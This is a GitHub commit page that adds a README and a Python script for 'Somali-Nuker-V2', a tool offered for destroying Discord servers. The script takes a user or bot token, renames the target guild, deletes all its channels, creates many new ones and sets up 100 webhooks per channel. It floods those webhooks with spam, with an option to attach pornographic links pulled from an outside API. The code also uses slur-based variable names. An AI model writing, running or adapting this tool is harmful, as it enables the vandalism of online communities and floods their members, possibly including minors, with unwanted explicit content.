Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
Sazene authored Mar 2, 2023
1 parent 6350a01 commit 430aaca
Show file tree
Hide file tree
Showing 5 changed files with 15,565 additions and 8 deletions.
22 changes: 14 additions & 8 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,16 @@
# Screenshots
# Somali-Nuker-V2

![image](https://user-images.githubusercontent.com/126622792/222568269-3e3a526b-0d73-49f6-a5dd-232ace5b0f4d.png)
## This was made by K.Dot and Godfather

# Features
✅ Delete Channels
✅ Create Channels
✅ Delete Roles
✅ Create Roles
✅ Spam Webhooks
## How to use?

Step 1.) download\
Step 2.) extract zip or whatever floats ur boat\
Step 3.) change config to ur liking\
Step 4.) nuke

Dont sell to kids

I'm also sick of making good readme's so its gonna stay like this.

SERVER INV = https://discord.gg/batch (before some sweaty kid with acne that covers his whole face joins just to talk shi abt my nuker rethink all ur life decisions up to this point and reflect.)
142 changes: 142 additions & 0 deletions Sazenium.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,142 @@
import os
import random
import time
import asyncio
import aiohttp
from pystyle import Colors, Center, Colorate
import sys
import json

__author__ = 'saze#0001'

banner = Center.XCenter("""
███████╗ █████╗ ███████╗███████╗███╗ ██╗██╗██╗ ██╗███╗ ███╗
██╔════╝██╔══██╗╚══███╔╝██╔════╝████╗ ██║██║██║ ██║████╗ ████║
███████╗███████║ ███╔╝ █████╗ ██╔██╗ ██║██║██║ ██║██╔████╔██║
╚════██║██╔══██║ ███╔╝ ██╔══╝ ██║╚██╗██║██║██║ ██║██║╚██╔╝██║
███████║██║ ██║███████╗███████╗██║ ╚████║██║╚██████╔╝██║ ╚═╝ ██║
╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝
Created by saze#0001
""")

print(Colorate.Vertical(Colors.cyan_to_blue, banner, 2)) # print the banner

class main: # main class

def __init__(self) -> None: # init function cause cool

with open('config.json', 'r') as f:
config = json.load(f)
self.TOKEN = config["TOKEN"]
self.MESSAGE = config["MESSAGE"]
self.AMMOUNT_OF_CHANNELS = config["AMMOUNT_OF_CHANNELS"]
self.SPAM_PRN = config["SPAM_PRN"]
self.MESSAGES_PER_CHANNEL = config["MESSAGES_PER_CHANNEL"]
self.SERVER_NAME = config["SERVER_NAME"]
self.CHANNEL_NAMES = config["CHANNEL_NAMES"]
self.REST_TIME = config["REST_TIME"]

self.api = "https://discord.com/api/v9"

self.webhook_ammount = 100
self.MESSAGES_PER_CHANNEL = round(self.MESSAGES_PER_CHANNEL / self.webhook_ammount)

self.guild = input("Guild ID: ")
if self.SPAM_PRN == True: # hehehehehehe
self.hentai = self.get_hentai()

asyncio.run(self.main()) # run main function


async def main(self):
type = input("Token, Bot/User: ") # get token type
if type == "user": # if user token
self.nwords = {"Authorization": self.TOKEN} # make headers
elif type == "bot": # if bot token
self.nwords = {"Authorization": f"Bot {self.TOKEN}"} # make headers
else:
print("Invalid token type!")
sys.exit()
nwords = self.nwords # do that cause im lazy
api = self.api # I hate using self all the time
guild = self.guild
if await self.check_admin() == False: # see if user is admin (buggy prolly)
print("Administrator permissions required")
time.sleep(5)
sys.exit()
async with aiohttp.ClientSession() as kdot: # make a session
await kdot.patch(f'{api}/guilds/{guild}', headers=nwords, json={"name": self.SERVER_NAME}) # change server name
async with kdot.get(f'{api}/guilds/{guild}/channels', headers=nwords) as r: # get all channels
channel_id = await r.json() # get all channels
for channels in channel_id: # loop through all channels
await kdot.delete(f'{api}/channels/{channels["id"]}', headers=nwords) # delete all channels


for i in range(int(self.AMMOUNT_OF_CHANNELS)): # loop through all channels for the number chosen
await asyncio.sleep(self.REST_TIME) # rest time so discord doesn't get on ur wewe
async with kdot.post(f'{api}/guilds/{guild}/channels', headers=nwords, json={"name": str(self.CHANNEL_NAMES), "type": 0}) as r: # create channels
data = await r.json()
try:
channelid = data['id']
except KeyError: # if discord ratelimits u
print('[-] Ratelimited')
break

for i in range(self.webhook_ammount): # loop through all webhooks
async with kdot.post(f'{api}/channels/{channelid}/webhooks', headers=nwords, json={"name": str(self.CHANNEL_NAMES)}) as r: # create webhooks
webhook_raw = await r.json() # get webhook
try:
hook = f'https://discord.com/api/webhooks/{webhook_raw["id"]}/{webhook_raw["token"]}' # webhook url
except KeyError:
print('Too many webhooks created') # if discord ratelimits u
break
if self.SPAM_PRN == True: #hehehehehehehehe
asyncio.create_task(self.spamhook_hentai(hook, self.MESSAGE))
else:
asyncio.create_task(self.spamhook(hook, self.MESSAGE))

while True: # this waits for all the async tasks to finish before exiting (makes sure there is only 1 left which is the main task)
await asyncio.sleep(1)
if len(asyncio.all_tasks()) == 1:
break
print("Finished")
time.sleep(5)
sys.exit()


async def spamhook(self, hook, spam_message): # spam webhook function
MESSAGES_PER_CHANNEL = int(self.MESSAGES_PER_CHANNEL)
async with aiohttp.ClientSession() as kdot:
for i in range(MESSAGES_PER_CHANNEL):
await kdot.post(hook, json={'content': f"{spam_message}"})

async def spamhook_hentai(self, hook, spam_message): # spam webhook function but wit hentai
MESSAGES_PER_CHANNEL = int(self.MESSAGES_PER_CHANNEL)
async with aiohttp.ClientSession() as kdot:
for i in range(MESSAGES_PER_CHANNEL):
random_hentai = random.choice(self.hentai)
await kdot.post(hook, json={'content': f"{spam_message} {random_hentai}"})

async def get_hentai(self): # get hentai from api
url = 'https://sped.lol/api/random'
async with aiohttp.ClientSession() as kdot:
async with kdot.get(url) as r:
data = await r.text()
return data

async def check_admin(self): # check if user is admin prolly works good
async with aiohttp.ClientSession() as kdot: # ngl idk what I was doing here but it prolly works
try:
async with kdot.get(f"{self.api}/users/@me/guilds/{self.guild}/member", headers=self.nwords) as r:
self.admin_num = 1099511627775
data = await r.json()
if data["roles"] == self.admin_num or data["roles"] == []:
return True
else:
return False
except:
return True


if __name__ == '__main__': # pretty sure this isn't helping since there is no "main function" but idk it makes everything look nicer
main()
Loading

0 comments on commit 430aaca

Please sign in to comment.